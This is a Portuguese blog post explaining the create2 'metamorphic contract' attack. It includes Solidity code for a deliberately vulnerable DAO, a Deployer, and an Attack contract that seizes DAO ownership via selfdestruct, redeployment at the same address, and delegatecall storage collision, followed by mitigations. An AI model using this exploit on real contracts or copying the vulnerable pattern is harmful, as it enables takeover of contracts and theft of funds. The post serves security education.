WEB3DEV

Cover image for O que é um ataque create2 em contratos inteligentes? Como evitá-lo? 🤔
Adriano P. Araujo
Adriano P. Araujo

Posted on

O que é um ataque create2 em contratos inteligentes? Como evitá-lo? 🤔

Um ataque de opcode create2 em contratos inteligentes explora fundamentalmente a característica deste opcode para implantar contratos em um endereço predeterminado. Essa característica, combinada com a lógica específica do contrato, pode se tornar uma vulnerabilidade para ataques. Embora o opcode create2 em si seja bastante simples, ele oferece maior flexibilidade para que os contratos implementem lógicas específicas, tornando-o muito comum nos protocolos DeFi de hoje. 🌐

Por exemplo, no UniswapV3, os pools de liquidez para tokens são implantados automaticamente usando um contrato de fábrica. Quando chamamos certas funções do contrato UniswapV3 (como empréstimos instantâneos), podemos calcular o endereço do pool de liquidez correspondente de maneira semelhante à seguinte:


address pool = address(

            uint160(
                uint(
                    keccak256(
                        abi.encodePacked(
                            hex"ff",
                            factory,
         keccak256(abi.encode(key.token0, key.token1, key.fee)),
                            POOL_INIT_CODE_HASH
                        )
                    )
                )

            )

Enter fullscreen mode Exit fullscreen mode

Isso ocorre porque o opcode create2 requer quatro parâmetros para calcular o endereço ao implantar um contrato: o primeiro é bytes1(0xff) para evitar colisão de endereço com contratos implantados usando create, o segundo é o endereço do implantador do contrato, o terceiro é um valor salt determinado pelo implantador e o quarto é o valor de hash calculado a partir do bytecode do contrato e dos parâmetros empacotados. 🧩

Isso nos lembra de sermos cautelosos quanto ao método de implantação de contratos e à possibilidade de alterar o conteúdo do contrato chamado por meio do opcode create2, potencialmente injetando código malicioso. 💡

Neste artigo, demonstrarei um exemplo simples de um ataque create2 e como evitar tais ataques. 🛡️

Primeiro, vamos descrever o processo de um ataque create2

Alice implanta um contrato DAO simples, cuja principal função é aprovar propostas criadas por outros e, em seguida, executar essas propostas por meio de delegatecall. O código é o seguinte:


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;



contract DAO {

    struct Proposal {
        address target;
        bool approved;
        bool executed;

    }



    address public owner = msg.sender;
    Proposal[] public proposals;


    function approve(address target) external {

        require(msg.sender == owner, "não autorizado");
        proposals.push(Proposal({target: target, approved: true, executed: false}));

    }



    function execute(uint256 proposalId) external payable {

        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "não aprovado");
        require(!proposal.executed, "executado");
        proposal.executed = true;
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );

        require(ok, "delegatecall falhou");

    }

}

Enter fullscreen mode Exit fullscreen mode

O atacante, Eve, descobre uma vulnerabilidade neste contrato DAO e, portanto, implanta um contrato Deployer. Este contrato usa o opcode create2 para implantar outros dois contratos. Um é um contrato Proposal legítimo e o outro é um contrato Attack projetado para o ataque. O código é o seguinte:


contract Deployer {
    event Log(address addr);

    function deployProposal(uint256 salt) external {
        address addr = address(new Proposal{salt: salt}());
        emit Log(addr);
    }


    function deployAttack(uint256 salt) external {
        address addr = address(new Attack{salt: salt}());
        emit Log(addr);
    }
}



contract Proposal {
    event Log(string message);
    
    function executeProposal() external {
        emit Log("Código executado aprovado pelo DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}


contract Attack {
    event Log(string message);
    address public owner;

    function executeProposal() external {
        emit Log("Código executado não aprovado pelo DAO :)");
        // Por exemplo - defina o proprietário do DAO como atacante
        owner = msg.sender;

    }

}

Enter fullscreen mode Exit fullscreen mode

Um processo simplificado de um ataque create2:

  1. Eve primeiro usa o contrato Deployer com um valor de salt predeterminado (por exemplo, bytes32 salt = keccak256(abi.encode(uint(123)));) para implantar o contrato Proposal, que é uma proposta legítima. 🧱

  2. Eve envia esta proposta para Alice, e Alice chama o contrato DAO para aprovar esta proposta. ✅

  3. Eve invoca a função emergencyStop do contrato Proposal, acionando o selfdestruct e, portanto, destruindo o contrato. 💥

  4. Eve usa o contrato Deployer com o mesmo valor de salt (por exemplo, bytes32 salt = keccak256(abi.encode(uint(123)));) para implantar o contrato Attack, inserindo código malicioso. 🕵️‍♂️

  5. Alice chama a função execute do contrato DAO para executar a proposta. Como a estrutura de dados Proposal e a lógica da função execute não verificam a lógica interna da proposta no momento da execução, elas apenas executam com base no endereço do contrato de proposta já aprovado. Portanto, o delegatecall na verdade chama o contrato Attack. 🚨

  6. O contrato Attack contém uma função executeProposal com uma assinatura idêntica àquela no contrato Proposal, contornando a verificação de assinatura da função em (bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()"));. Como resultado, a função executeProposal no contrato Attack é chamada, modificando variáveis nos slots de armazenamento correspondentes do contrato DAO por meio de delegatecall. 🔀

  7. Observando os slots de armazenamento do contrato DAO, o primeiro é a estrutura Proposal, que na verdade não ocupa slots de armazenamento quando declarada. Portanto, a variável no slot 0 é na verdade address public owner = msg.sender;. Olhando para os slots de armazenamento do contrato Attack, o slot 0 também contém address public owner;. Portanto, o delegatecall para owner = msg.sender; no contrato Attack resulta na modificação da variável owner no primeiro slot de armazenamento do contrato DAO para o atacante, Eve. 🎭

Como prevenir tais ataques create2

Este ataque é bastante simples em si, mas mostra que a combinação do opcode create2 e da lógica do contrato usada extensivamente nos protocolos DeFi mainstream de hoje nem sempre é perfeita. Com base no princípio do ataque, podemos considerar as seguintes maneiras de reduzir esses riscos:

  1. Antes de aprovar e executar chamadas de contrato externo, devemos verificar o conteúdo do contrato em si, não apenas representar o contrato já implantado pelo seu endereço. Isso pode ser alcançado verificando o bytecode do contrato. 🔍

  2. Fique atento a contratos com funcionalidade selfdestruct e limite e monitore chamadas para eles. Isso pode ser alcançado por meio de auditorias de código e governança de contrato. ⚠️

  3. Para contratos do tipo DAO, considere adicionar um bloqueio de tempo antes de executar propostas. Isso pode fornecer tempo suficiente para revisar o conteúdo da proposta, garantindo que ela não tenha sido substituída por ações maliciosas. ⏳

  4. Seja cauteloso nas chamadas de função que envolvem delegatecall, pois o delegatecall alterará as variáveis nos slots de armazenamento do chamador. Mesmo que não seja código malicioso, inconsistências na estrutura de armazenamento entre o chamador e o chamado podem levar a erros inesperados. 🤔

Isso conclui nossa discussão sobre ataques create2 e estratégias de segurança relacionadas. Como você chegou até aqui, que tal dar um like! 👍


Este artigo foi escrito por codingJourneyFromUnemployment  e traduzido por Adriano P. de Araujo. O original em inglês pode ser encontrado aqui.

Top comments (0)